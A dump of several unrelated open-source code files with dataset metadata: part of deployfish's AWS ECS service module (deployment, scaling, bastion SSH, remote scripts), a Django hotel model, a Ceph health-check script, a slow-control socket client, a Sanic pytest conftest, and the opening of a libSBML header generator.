self.load_balancer['load_balancer_name'],\n 'containerName': self.load_balancer['container_name'],\n 'containerPort': self.load_balancer['container_port'],\n })\n else:\n r['loadBalancers'].append({\n 'targetGroupArn': self.load_balancer['target_group_arn'],\n 'containerName': self.load_balancer['container_name'],\n 'containerPort': self.load_balancer['container_port'],\n })\n if self.launchType == 'FARGATE':\n r['networkConfiguration'] = {\n 'awsvpcConfiguration': self.vpc_configuration\n }\n r['taskDefinition'] = task_definition_id\n r['desiredCount'] = self.count\n r['clientToken'] = self.client_token\n if self.__service_discovery:\n r['serviceRegistries'] = self.__service_discovery\n r['deploymentConfiguration'] = {\n 'maximumPercent': self.maximumPercent,\n 'minimumHealthyPercent': self.minimumHealthyPercent\n }\n return r\n\n def from_yaml(self, yml):\n \"\"\"\n Load our service information from the parsed yaml. ``yml`` should be\n a service level entry from the ``deployfish.yml`` file.\n\n :param yml: a service level entry from the ``deployfish.yml`` file\n :type yml: dict\n \"\"\"\n self.serviceName = yml['name']\n self.clusterName = yml['cluster']\n if 'launch_type' in yml:\n self.launchType = yml['launch_type']\n self.environment = yml.get('environment', 'undefined')\n self.family = yml['family']\n # backwards compatibility for deployfish.yml < 0.16.0\n if 'maximum_percent' in yml:\n self.maximumPercent = yml['maximum_percent']\n self.minimumHealthyPercent = yml['minimum_healthy_percent']\n self.asg = ASG(yml=yml)\n if 'application_scaling' in yml:\n self.scaling = ApplicationAutoscaling(yml['name'], yml['cluster'], yml=yml['application_scaling'])\n if 'load_balancer' in yml:\n if 'service_role_arn' in yml:\n # backwards compatibility for deployfish.yml < 0.3.6\n self.roleArn = yml['service_role_arn']\n else:\n self.roleArn = yml['load_balancer']['service_role_arn']\n if 'load_balancer_name' in yml['load_balancer']:\n self.set_elb(\n yml['load_balancer']['load_balancer_name'],\n yml['load_balancer']['container_name'],\n yml['load_balancer']['container_port'],\n )\n elif 'target_group_arn' in yml['load_balancer']:\n self.set_alb(\n yml['load_balancer']['target_group_arn'],\n yml['load_balancer']['container_name'],\n yml['load_balancer']['container_port'],\n )\n if 'vpc_configuration' in yml:\n self.set_vpc_configuration(\n yml['vpc_configuration']['subnets'],\n yml['vpc_configuration']['security_groups'],\n yml['vpc_configuration']['public_ip'],\n )\n if 'network_mode' in yml:\n if yml['network_mode'] == 'awsvpc' and 'service_discovery' in yml:\n self.serviceDiscovery = ServiceDiscovery(None, yml=yml['service_discovery'])\n elif 'service_discovery' in yml:\n print(\"Ignoring service discovery config since network mode is not awsvpc\")\n\n self._count = yml['count']\n self._desired_count = self._count\n self.desired_task_definition = TaskDefinition(yml=yml)\n deployfish_environment = {\n \"DEPLOYFISH_SERVICE_NAME\": yml['name'],\n \"DEPLOYFISH_ENVIRONMENT\": yml.get('environment', 'undefined'),\n \"DEPLOYFISH_CLUSTER_NAME\": yml['cluster']\n }\n self.desired_task_definition.inject_environment(deployfish_environment)\n self.tasks = {}\n if 'tasks' in yml:\n for task in yml['tasks']:\n t = Task(yml['cluster'], yml=task)\n self.tasks[t.family] = t\n parameters = []\n if 'config' in yml:\n parameters = yml['config']\n self.parameter_store = ParameterStore(self._serviceName, self._clusterName, yml=parameters)\n\n def from_aws(self):\n \"\"\"\n Update our service definition, task definition and tasks from the live\n versions in AWS.\n \"\"\"\n self.__aws_service = self.__get_service()\n if not self.scaling:\n # This only gets executed if we don't have an \"application_scaling\"\n # section in our service YAML definition.\n #\n # But we're looking here for an autoscaling setup that we previously\n # had created but which we no longer want\n self.scaling = ApplicationAutoscaling(self.serviceName, self.clusterName)\n if not self.scaling.exists():\n self.scaling = None\n if self.__aws_service:\n self.active_task_definition = TaskDefinition(self.taskDefinition)\n # If we have helper tasks, update them from AWS now\n helpers = self.active_task_definition.get_helper_tasks()\n if helpers:\n for t in self.tasks.values():\n t.from_aws(helpers[t.family])\n\n if self.__aws_service['serviceRegistries']:\n self.serviceDiscovery = ServiceDiscovery(self.service_discovery[0]['registryArn'])\n else:\n self.serviceDiscovery = None\n else:\n self.active_task_definition = None\n\n def __create_tasks_and_task_definition(self):\n \"\"\"\n Create the new task definition for our service.\n\n If we have any helper tasks associated with our service, create\n them first, then and pass their information into the service\n task definition.\n \"\"\"\n family_revisions = []\n for task in self.tasks.values():\n task.create()\n family_revisions.append(task.family_revision)\n self.desired_task_definition.update_task_labels(family_revisions)\n self.desired_task_definition.create()\n\n def create(self):\n \"\"\"\n Create the service in AWS. If necessary, setup Application Scaling afterwards.\n \"\"\"\n if self.serviceDiscovery is not None:\n if not self.serviceDiscovery.exists():\n self.service_discovery = self.serviceDiscovery.create()\n else:\n print(\"Service Discovery already exists with this name\")\n self.__create_tasks_and_task_definition()\n kwargs = self.__render(self.desired_task_definition.arn)\n self.ecs.create_service(**kwargs)\n if self.scaling:\n self.scaling.create()\n self.__defaults()\n self.from_aws()\n\n def update(self):\n \"\"\"\n Update the task definition for our service, and modify Application Scaling\n appropriately.\n\n If we currently don't have Application Scaling enabled, but we want it now,\n set it up appropriately.\n\n If we currently do have Application Scaling enabled, but it's setup differently\n than we want it, updated it appropriately.\n\n If we currently do have Application Scaling enabled, but we no longer want it,\n remove Application Scaling.\n \"\"\"\n self.update_task_definition()\n self.update_scaling()\n\n def update_task_definition(self):\n self.__create_tasks_and_task_definition()\n self.ecs.update_service(\n cluster=self.clusterName,\n service=self.serviceName,\n taskDefinition=self.desired_task_definition.arn\n )\n self.__defaults()\n self.from_aws()\n\n def update_scaling(self):\n if self.scaling:\n if self.scaling.should_exist():\n if not self.scaling.exists():\n self.scaling.create()\n else:\n self.scaling.update()\n else:\n if self.scaling.exists():\n self.scaling.delete()\n\n def scale(self, count):\n \"\"\"\n Update ``desiredCount`` on our service to ``count``.\n\n :param count: set # of containers on our service to this\n :type count: integer\n \"\"\"\n self.ecs.update_service(\n cluster=self.clusterName,\n service=self.serviceName,\n desiredCount=count\n )\n self._desired_count = count\n self.__defaults()\n self.from_aws()\n\n def delete(self):\n \"\"\"\n Delete the service from AWS, as well as any related Application Scaling\n objects or service discovery objects.\n \"\"\"\n\n # We need to delete any autoscaling stuff before deleting the service\n # because we want to delete the cloudwatch alarms associated with our\n # scaling policies. If we delete the service first, ECS will happily\n # auto-delete the scaling target and scaling polices, but leave the\n # cloudwatch alarms hanging. Then when we go to remove the scaling,\n # we won't know how to lookup the alarms\n if self.scaling and self.scaling.exists():\n self.scaling.delete()\n if self.serviceDiscovery:\n self.serviceDiscovery.delete()\n if self.exists():\n self.ecs.delete_service(\n cluster=self.clusterName,\n service=self.serviceName,\n )\n\n def _show_current_status(self):\n response = self.__get_service()\n # print response\n status = response['status']\n events = response['events']\n desired_count = response['desiredCount']\n if status == 'ACTIVE':\n success = True\n else:\n success = False\n\n deployments = response['deployments']\n if len(deployments) > 1:\n success = False\n\n print(\"Deployment Desired Pending Running\")\n for deploy in deployments:\n if deploy['desiredCount'] != deploy['runningCount']:\n success = False\n print(deploy['status'], deploy['desiredCount'], deploy['pendingCount'], deploy['runningCount'])\n\n print(\"\")\n\n print(\"Service:\")\n for index, event in enumerate(events):\n if index <= 5:\n print(event['message'])\n\n if self.load_balancer and 'type' in self.load_balancer:\n lbtype = self.load_balancer['type']\n else:\n lbtype = None\n if lbtype == 'elb':\n print(\"\")\n print(\"Load Balancer\")\n elb = boto3.client('elb')\n response = elb.describe_instance_health(LoadBalancerName=self.load_balancer['load_balancer_name'])\n states = response['InstanceStates']\n if len(states) < desired_count:\n success = False\n for state in states:\n if state['State'] != \"InService\" or state['Description'] != \"N/A\":\n success = False\n print(state['InstanceId'], state['State'], state['Description'])\n elif lbtype == 'alb':\n print(\"\")\n print(\"Load Balancer\")\n alb = boto3.client('elbv2')\n response = alb.describe_target_health(\n TargetGroupArn=self.load_balancer['target_group_arn']\n )\n if len(response['TargetHealthDescriptions']) < desired_count:\n success = False\n for desc in response['TargetHealthDescriptions']:\n if desc['TargetHealth']['State'] != 'healthy':\n success = False\n print(desc['Target']['Id'], desc['TargetHealth']['State'], desc['TargetHealth'].get('Description', ''))\n return success\n\n def wait_until_stable(self):\n \"\"\"\n Wait until AWS reports the service as \"stable\".\n \"\"\"\n tz = tzlocal.get_localzone()\n self.its_run_start_time = datetime.now(tz)\n\n for i in range(40):\n time.sleep(15)\n success = self._show_current_status()\n if success:\n print(\"\\nDeployment successful.\\n\")\n return True\n else:\n print(\"\\nDeployment unready\\n\")\n\n print('Deployment failed...')\n\n # waiter = self.ecs.get_waiter('services_stable')\n # waiter.wait(cluster=self.clusterName, services=[self.serviceName])\n return False\n\n def run_task(self, command):\n \"\"\"\n Runs the service tasks.\n\n :param command: Docker command to run.\n :return: ``None``\n \"\"\"\n for task in self.tasks.values():\n if command in task.commands:\n return task.run(command)\n return None\n\n def get_config(self):\n \"\"\"\n Return the ``ParameterStore()`` for our service.\n\n :rtype: a ``deployfish.systems_manager.ParameterStore`` object\n \"\"\"\n self.parameter_store.populate()\n return self.parameter_store\n\n def write_config(self):\n \"\"\"\n Update the AWS System Manager Parameter Store parameters to match\n what we have defined in our ``deployfish.yml``.\n \"\"\"\n self.parameter_store.save()\n\n def _get_cluster_hosts(self):\n \"\"\"\n For our service, return a mapping of ``containerInstanceArn`` to EC2\n ``instance_id`` for all container instances in our cluster.\n\n :rtype: dict\n \"\"\"\n hosts = {}\n response = self.ecs.list_container_instances(cluster=self.clusterName)\n response = self.ecs.describe_container_instances(\n cluster=self.clusterName,\n containerInstances=response['containerInstanceArns']\n )\n instances = response['containerInstances']\n for i in instances:\n hosts[i['containerInstanceArn']] = i['ec2InstanceId']\n return hosts\n\n def _get_running_host(self, hosts=None):\n \"\"\"\n Return the EC2 instance id for a host in our cluster which is\n running one of our service's tasks.\n\n :param hosts: (optional) A dict of ``containerInstanceArn`` -> EC2 ``instance_id``\n :type hosts: dict\n\n :rtype: string\n \"\"\"\n if not hosts:\n hosts = self._get_cluster_hosts()\n\n instanceArns = []\n response = self.ecs.list_tasks(cluster=self.clusterName,\n family=self.family,\n desiredStatus='RUNNING')\n if response['taskArns']:\n response = self.ecs.describe_tasks(cluster=self.clusterName,\n tasks=response['taskArns'])\n if response['tasks']:\n task = response['tasks'][0]\n instanceArns.append(task['containerInstanceArn'])\n\n if instanceArns:\n for instance in instanceArns:\n if instance in hosts:\n host = hosts[instance]\n return host\n else:\n return None\n\n def get_instance_data(self):\n \"\"\"\n Returns data on the instances in the ECS cluster.\n\n :return: list\n \"\"\"\n self._search_hosts()\n instances = self.hosts.values()\n ec2 = boto3.client('ec2')\n response = ec2.describe_instances(InstanceIds=instances)\n if response['Reservations']:\n instances = response['Reservations']\n return instances\n return []\n\n def get_host_ips(self):\n \"\"\"\n Returns the IP addresses of the ECS cluster instances.\n\n :return: list\n \"\"\"\n if self.host_ips:\n return self.host_ips\n\n instances = self.get_instance_data()\n self.host_ips = []\n for reservation in instances:\n instance = reservation['Instances'][0]\n self.host_ips.append(instance['PrivateIpAddress'])\n return self.host_ips\n\n def cluster_run(self, cmd):\n \"\"\"\n Run a command on each of the ECS cluster machines.\n\n :param cmd: Linux command to run.\n\n :return: list of tuples\n \"\"\"\n ips = self.get_host_ips()\n host_ip = self.host_ip\n responses = []\n for ip in ips:\n self.host_ip = ip\n success, output = self.run_remote_script(cmd)\n responses.append((success, output))\n self.host_ip = host_ip\n return responses\n\n def cluster_ssh(self, ip):\n \"\"\"\n SSH into the specified ECS cluster instance.\n\n :param ip: ECS cluster instance IP address\n\n :return: ``None``\n \"\"\"\n self.host_ip = ip\n self.ssh()\n\n def _get_host_bastion(self, instance_id):\n \"\"\"\n Given an EC2 ``instance_id`` return the private IP address of\n the instance identified by ``instance_id`` and the public\n DNS name of the bastion host you would use to reach it via ssh.\n\n :param instance_id: an EC2 instance id\n :type instance_id: string\n\n :rtype: 2-tuple (instance_private_ip_address, bastion_host_dns_name)\n \"\"\"\n ip = None\n vpc_id = None\n bastion = ''\n ec2 = boto3.client('ec2')\n response = ec2.describe_instances(InstanceIds=[instance_id])\n if response['Reservations']:\n instances = response['Reservations'][0]['Instances']\n if instances:\n instance = instances[0]\n vpc_id = instance['VpcId']\n ip = instance['PrivateIpAddress']\n if ip and vpc_id:\n response = ec2.describe_instances(\n Filters=[\n {\n 'Name': 'tag:Name',\n 'Values': ['bastion*']\n },\n {\n 'Name': 'vpc-id',\n 'Values': [vpc_id]\n }\n ]\n )\n if response['Reservations']:\n instances = response['Reservations'][0]['Instances']\n if instances:\n instance = instances[0]\n bastion = instance['PublicDnsName']\n return ip, bastion\n\n def __is_or_has_file(self, data):\n '''\n Figure out if we have been given a file-like object as one of the inputs to the function that called this.\n Is a bit clunky because 'file' doesn't exist as a bare-word type check in Python 3 and built in file objects\n are not instances of io. in Python 2\n\n https://stackoverflow.com/questions/1661262/check-if-object-is-file-like-in-python\n Returns:\n Boolean - True if we have a file-like object\n '''\n if (hasattr(data, 'file')):\n data = data.file\n\n try:\n return isinstance(data, file)\n except NameError:\n from io import IOBase\n return isinstance(data, IOBase)\n\n def push_remote_text_file(self, input_data=None, run=False, file_output=False):\n \"\"\"\n Push a text file to the current remote ECS cluster instance and optionally run it.\n\n :param input_data: Input data to send. Either string or file.\n :param run: Boolean that indicates if the text file should be run.\n :param file_output: Boolean that indicates if the output should be saved.\n :return: tuple - success, output\n \"\"\"\n if self.__is_or_has_file(input_data):\n path, name = os.path.split(input_data.name)\n else:\n name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n\n if run:\n cmd = '\"cat \\> {}\\;bash {}\\;rm {}\"'.format(name, name, name)\n else:\n cmd = '\"cat \\> {}\"'.format(name)\n\n with_output = True\n if file_output:\n with_output = NamedTemporaryFile(delete=False)\n output_filename = with_output.name\n\n success, output = self.ssh(command=cmd, with_output=with_output, input_data=input_data)\n if file_output:\n output = output_filename\n return success, output\n\n def run_remote_script(self, lines, file_output=False):\n \"\"\"\n Run a script on the current remote ECS cluster instance.\n\n :param lines: list of lines of the script.\n :param file_output: Boolean that indicates if the output should be saved.\n :return: tuple - success, output\n \"\"\"\n data = '\\n'.join(lines)\n return self.push_remote_text_file(input_data=data, run=True, file_output=file_output)\n\n def _run_command_with_io(self, cmd, output_file=None, input_data=None):\n success = True\n\n if output_file:\n stdout = output_file\n else:\n stdout = subprocess.PIPE\n\n if input_data:\n if self.__is_or_has_file(input_data):\n stdin = input_data\n input_string = None\n else:\n stdin = subprocess.PIPE\n input_string = input_data\n else:\n stdin = None\n\n try:\n p = subprocess.Popen(cmd, stdout=stdout, stdin=stdin, shell=True, universal_newlines=True)\n output, errors = p.communicate(input_string)\n except subprocess.CalledProcessError as err:\n success = False\n output = \"{}\\n{}\".format(err.cmd, err.output)\n output = err.output\n\n return success, output\n\n def _search_hosts(self):\n if self.searched_hosts:\n return\n\n self.searched_hosts = True\n\n hosts = self._get_cluster_hosts()\n running_host = self._get_running_host(hosts)\n\n if running_host:\n self.is_running = True\n\n if running_host:\n host = running_host\n else:\n # just grab one\n for k, host in hosts.items():\n break\n\n self.hosts = hosts\n self.host_ip, self.bastion = self._get_host_bastion(host)\n\n def ssh(self, command=None, is_running=False, with_output=False, input_data=None, verbose=False):\n \"\"\"\n :param is_running: only complete the ssh if a task from our service is\n actually running in the cluster\n :type is_running: boolean\n \"\"\"\n self._search_hosts()\n\n if is_running and not self.is_running:\n return\n\n if self.host_ip and self.bastion:\n if verbose:\n verbose_flag = \"-vv\"\n else:\n verbose_flag = \"-q\"\n cmd = 'ssh {} -o StrictHostKeyChecking=no -A -t ec2-user@{} ssh {} -o StrictHostKeyChecking=no -A -t {}'.format(verbose_flag, self.bastion, verbose_flag, self.host_ip)\n if command:\n cmd = \"{} {}\".format(cmd, command)\n\n if with_output:\n if self.__is_or_has_file(with_output):\n output_file = with_output\n else:\n output_file = None\n return self._run_command_with_io(cmd, output_file=output_file, input_data=input_data)\n\n subprocess.call(cmd, shell=True)\n\n def docker_exec(self, verbose=False):\n \"\"\"\n Exec into a running Docker container.\n \"\"\"\n command = \"\\\"/usr/bin/docker exec -it '\\$(/usr/bin/docker ps --filter \\\"name=ecs-{}*\\\" -q)' bash\\\"\"\n command = command.format(self.family)\n self.ssh(command, is_running=True, verbose=verbose)\n\n def tunnel(self, host, local_port, interim_port, host_port):\n \"\"\"\n Open tunnel to remote system.\n :param host:\n :param local_port:\n :param interim_port:\n :param host_port:\n :return:\n \"\"\"\n hosts = self._get_cluster_hosts()\n ecs_host = hosts[list(hosts.keys())[0]]\n host_ip, bastion = self._get_host_bastion(ecs_host)\n\n cmd = 'ssh -L {}:localhost:{} ec2-user@{} ssh -L {}:{}:{} {}'.format(local_port, interim_port, bastion, interim_port, host, host_port, host_ip)\n subprocess.call(cmd, shell=True)\n\n def __str__(self):\n return json.dumps(self.__render(\"to-be-created\"), indent=2, sort_keys=True)\n","sub_path":"deployfish/aws/ecs.py","file_name":"ecs.py","file_ext":"py","file_size_in_byte":63776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"309530136","text":"from django.db import models\nfrom .location import Location\n\n\nclass Hotel(models.Model):\n name = models.CharField(max_length=50)\n description = models.CharField(max_length=250, default=\"The most comfortable stay\", null=True, blank=True)\n location = models.ForeignKey(Location, on_delete=models.CASCADE, default=1)\n locality = models.CharField(max_length=50, default = \"X\")\n street = models.CharField(max_length=50, default= \"Y\")\n number = models.PositiveSmallIntegerField(default=9999999900)\n website = models.URLField(default=\"www..com\", max_length=50)\n rating = models.DecimalField(max_digits=3, decimal_places=2, default=0)\n\n deluxe_available = models.BooleanField(default=True)\n deluxe_price = models.DecimalField(max_digits=6, decimal_places=2, default=0)\n\n standard_available = models.BooleanField(default=True)\n standard_price = models.DecimalField(max_digits=6, decimal_places=2, default=0)\n\n premium_available = models.BooleanField(default=True)\n premium_price = models.DecimalField(max_digits=6, decimal_places=2, default=0)\n\n suite_available = models.BooleanField(default=True)\n suite_price = models.DecimalField(max_digits=6, decimal_places=2, default=0)\n\n image1 = models.ImageField(upload_to = \"uploads/hotel_photos\", null=True, default=None)\n image2 = models.ImageField(upload_to = \"uploads/hotel_photos\", null=True, default=None)\n image3 = models.ImageField(upload_to = \"uploads/hotel_photos\", null=True, default=None)\n image4 = models.ImageField(upload_to = \"uploads/hotel_photos\", null=True, default=None)\n image5 = models.ImageField(upload_to = \"uploads/hotel_photos\", null=True, default=None)\n \n #boolean facilities\n wifi = models.BooleanField(default=False)\n air_conditioning = models.BooleanField(default=True)\n airport_shuttle = models.BooleanField(default=False)\n parking_area = models.BooleanField(default=True)\n pool = models.BooleanField(default=False)\n fitness_center = models.BooleanField(default=False)\n\n\n @staticmethod\n def get_correct_hotel_through_location(location):\n try:\n return Hotel.objects.filter(location=location)\n except:\n return False\n\n\n @staticmethod\n def get_hotel_through_id(ids):\n try:\n return Hotel.objects.get(id=ids)\n except:\n return False\n\n\n @staticmethod\n def get_all_hotels():\n return Hotel.objects.all()\n\n","sub_path":"Travel/models/hotels.py","file_name":"hotels.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"111565559","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Created by wind on 2019-12-03\nimport os\n\n\ndef resultProcess(cmd, index):\n ShellAlert = os.popen(cmd)\n resultProcess = ShellAlert.read()\n ShellStatus = resultProcess.split()[index]\n ShellAlert.close()\n return ShellStatus\n\n\nif __name__ == '__main__':\n if resultProcess('ceph -s', 4) == 'HEALTH_OK':\n print(0)\n else:\n print(1)\n\n","sub_path":"roles/zabbix_monitor_script/ceph_alert.py","file_name":"ceph_alert.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"367579996","text":"\"\"\"Input client for slow control.\nTerminal to type in commands, the output of which are displayed\nin the output client to prevent blocking.\n\"\"\"\n\nimport argparse\nimport socket\nimport shlex\n\nimport yaml\n\nimport slow_control_pb2 as sc\n\n# Load configuration\nparser = argparse.ArgumentParser()\nparser.add_argument('config_file', help='Path to slow control config file')\nparser.add_argument('commands_file', help='Path to slow control commands file')\nargs = parser.parse_args()\n\nwith open(args.config_file, 'r') as config_file:\n config = yaml.load(config_file)\nserver_host = config['User Interface']['host']\nserver_port = config['User Interface']['input_port']\n\n# Open a socket to the slow control server\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((server_host, server_port))\n\nwith open(args.commands_file, 'r') as commands_file:\n commands = yaml.load(commands_file)\n\n# Return a serialized message containing the UserCommand corresponding\n# to the input entered by the user. If the command isn't valid, return None.\ndef parse_and_serialize_user_input(user_input):\n user_input = shlex.split(user_input.strip())\n command = user_input[0]\n if command not in commands:\n raise ValueError(\"command '{}' not recognized\".format(command))\n args = commands[command].get('args', [])\n values = user_input[1:]\n if len(args) != len(values):\n raise IndexError(\"command '{}' requires {} arguments, {} given\".format(\n command, len(args), len(values)))\n message = sc.UserCommand()\n message.command = command\n for arg, value in zip(args, values):\n message.args[arg] = value\n return message.SerializeToString()\n\n# Start a terminal for user input\nprint(\"SCT Slow Control - Input\")\n# Identify self to server\nwhile True:\n user_input = input('> ')\n if user_input in ['exit', 'q']:\n sock.close()\n break\n try:\n serialized_command = parse_and_serialize_user_input(user_input)\n sock.sendall(serialized_command)\n except (ValueError, IndexError) as e:\n print(e)\n continue\n","sub_path":"user_input.py","file_name":"user_input.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"337413519","text":"import re\nimport sanic\n\n\ndef pytest_collection_modifyitems(session, config, items):\n base_port = sanic.testing.PORT\n\n worker_id = getattr(config, 'slaveinput', {}).get('slaveid', 'master')\n m = re.search(r'[0-9]+', worker_id)\n if m:\n num_id = int(m.group(0)) + 1\n else:\n num_id = 0\n new_port = base_port + num_id\n\n def new_test_client(app, port=new_port):\n return sanic.testing.SanicTestClient(app, port)\n\n sanic.Sanic.test_port = new_port\n sanic.Sanic.test_client = property(new_test_client)\n\n app = sanic.Sanic()\n assert app.test_client.port == new_port\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"511789463","text":"#!/usr/bin/env python\n#\n# @file writeHeader.py\n# @brief Create the header file for an object\n# @author Sarah Keating\n#\n\nimport sys\nimport fileHeaders\nimport generalFunctions\nimport strFunctions\nimport writeListOfHeader\nimport createNewElementDictObj\nimport writeCHeader\n\ndef writeConstructors(element, package, output):\n indent = strFunctions.getIndent(element)\n output.write(' /**\\n * ' )\n output.write('Creates a new {0}'.format(element))\n output.write(' with the given level, version, and package version.\\n')\n output.write(' *\\n')\n output.write(' * @param level an unsigned int, the SBML Level to assign')\n output.write(' to this {0}\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param version an unsigned int, the SBML Version to assign')\n output.write(' to this {0}\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param pkgVersion an unsigned int, the SBML {0} Version to assign'.format(package))\n output.write(' to this {0}\\n */\\n'.format(element))\n output.write(' {0}(unsigned int level = '.format(element))\n output.write('{0}Extension::getDefaultLevel(),\\n'.format(package))\n output.write(' {0}unsigned int version = '.format(indent))\n output.write('{0}Extension::getDefaultVersion(),\\n'.format(package))\n output.write(' {0}unsigned int pkgVersion = '.format(indent))\n output.write('{0}Extension::getDefaultPackageVersion());\\n\\n\\n'.format(package))\n output.write(' /**\\n * ' )\n output.write('Creates a new {0}'.format(element))\n output.write(' with the given {0}PkgNamespaces object.\\n'.format(package))\n output.write(' *\\n')\n output.write(' * @param {0}ns the {1}PkgNamespaces object'.format(package.lower(), package))\n output.write('\\n */\\n')\n output.write(' {0}({1}PkgNamespaces* {2}ns);\\n\\n\\n '.format(element, package, package.lower()))\n output.write(' /**\\n * ' )\n output.write('Copy constructor for {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param orig; the {0} instance to copy.\\n'.format(element))\n output.write(' */\\n')\n output.write(' {0}(const {1}& orig);\\n\\n\\n '.format(element, element))\n output.write(' /**\\n * ' )\n output.write('Assignment operator for {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param rhs; the object whose values are used as the basis\\n')\n output.write(' * of the assignment\\n */\\n')\n output.write(' {0}& operator=(const {1}& rhs);\\n\\n\\n '.format(element, element))\n output.write(' /**\\n * ' )\n output.write('Creates and returns a deep copy of this {0} object.\\n'.format(element))\n output.write(' *\\n * @return a (deep) copy of this {0} object.\\n */\\n'.format(element))\n output.write(' virtual {0}* clone () const;\\n\\n\\n '.format(element))\n output.write(' /**\\n * ' )\n output.write('Destructor for {0}.\\n */\\n'.format(element))\n output.write(' virtual ~{0}();\\n\\n\\n '.format(element))\n return\n\ndef writeAtt(attrib, output):\n att = generalFunctions.parseAttribute(attrib)\n attName = att[0]\n capAttName = att[1]\n attType = att[2]\n attTypeCode = att[3]\n num = att[4]\n if attType == 'string':\n output.write(' std::string m{0};\\n'.format(capAttName))\n elif attType == 'element':\n if attTypeCode == 'const ASTNode*' or attName== 'Math':\n output.write(' ASTNode* m{0};\\n'.format(capAttName))\n else:\n output.write(' {0}* m{1};\\n'.format(attrib['element'], capAttName))\n return\n elif attType == 'lo_element' or attType == 'inline_lo_element':\n if attrib.has_key('element'):\n output.write(' {0} m{1};\\n'.format(generalFunctions.getListOfClassName(attrib,attrib['element']), strFunctions.capp(attrib['name'])))\n else:\n output.write(' {0} m{1};\\n'.format(generalFunctions.getListOfClassName(attrib,capAttName), strFunctions.capp(attName)))\n elif attTypeCode == 'XMLNode*':\n output.write(' {0} m{1};\\n'.format('XMLNode*', capAttName))\n elif num == True:\n while len(attTypeCode) < 13:\n attTypeCode = attTypeCode + ' '\n output.write(' {1} m{0};\\n'.format(capAttName, attTypeCode))\n output.write(' bool mIsSet{0};\\n'.format(capAttName))\n elif attType == 'boolean':\n output.write(' bool m{0};\\n'.format(capAttName))\n output.write(' bool mIsSet{0};\\n'.format(capAttName))\n elif attrib['type'] == 'enum':\n output.write(' {0}_t m{1};\\n'.format(attrib['element'], capAttName))\n elif attrib['type'] == 'array':\n output.write(' {0}* m{1};\\n'.format(attrib['element'], capAttName))\n else:\n output.write(' FIX ME {0};\\n'.format(attName))\n \ndef writeAttributes(attrs, output):\n output.write('protected:\\n\\n')\n for i in range(0, len(attrs)):\n writeAtt(attrs[i], output) \n output.write('\\n\\n')\n\ndef writeGetFunction(attrib, output, element):\n att = generalFunctions.parseAttribute(attrib)\n attName = att[0]\n capAttName = att[1]\n attType = att[2]\n attTypeCode = att[3]\n num = att[4]\n if attrib['type'] == 'lo_element' or attrib['type'] == 'inline_lo_element':\n return\n elif attrib['type'] == 'array':\n output.write(' /**\\n');\n output.write(' * The \"{0}\" attribute of this {1} is returned in an {2} array (pointer)\\n'.format(attName, element, attTypeCode));\n output.write(' * that is passed as argument to the method (this is needed while using SWIG to\\n');\n output.write(' * convert int[] from C++ to Java). The method itself has a return type void.\\n');\n output.write(' *\\n');\n output.write(' * NOTE: you have to pre-allocate the array with the correct length!');\n output.write(' *\\n');\n output.write(' * @return void.\\n');\n output.write(' */\\n');\n output.write(' void get{0}({1} outArray) const;\\n\\n\\n'.format(capAttName, attTypeCode));\n elif attrib['type'] == 'element':\n if attrib['name'] == 'Math' or attrib['name'] == 'math':\n output.write(' /**\\n')\n output.write(' * Returns the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' virtual const ASTNode*')\n output.write(' get{0}() const;\\n\\n\\n'.format(capAttName))\n else:\n output.write(' /**\\n')\n output.write(' * Returns the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' virtual const {0}*'.format(attrib['element']))\n output.write(' get{0}() const;\\n\\n\\n'.format(capAttName))\n \n output.write(' /**\\n')\n output.write(' * Returns the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' virtual {0}*'.format(attrib['element']))\n output.write(' get{0}();\\n\\n\\n'.format(capAttName))\n\n if attrib['abstract'] == False:\n output.write(' /**\\n')\n output.write(' * Creates a new \\\"{0}\\\"'.format(attrib['element']))\n output.write(' and sets it for this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the created \\\"{0}\\\"'.format(attrib['element']))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' virtual {0}*'.format(attrib['element']))\n output.write(' create{0}();\\n\\n\\n'.format(capAttName))\n else:\n for concrete in generalFunctions.getConcretes(attrib['root'], attrib['concrete']):\n output.write(' /**\\n')\n output.write(' * Creates a new \\\"{0}\\\"'.format(attName))\n output.write(' and sets it for this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' virtual {0}*'.format(concrete['element']))\n output.write(' create{0}();\\n\\n\\n'.format(strFunctions.cap(concrete['name'])))\n else:\n output.write(' /**\\n')\n output.write(' * Returns the value of the \\\"{0}\\\"'.format(attName))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the value of the \\\"{0}\\\"'.format(attName))\n output.write(' attribute of this {0} as a 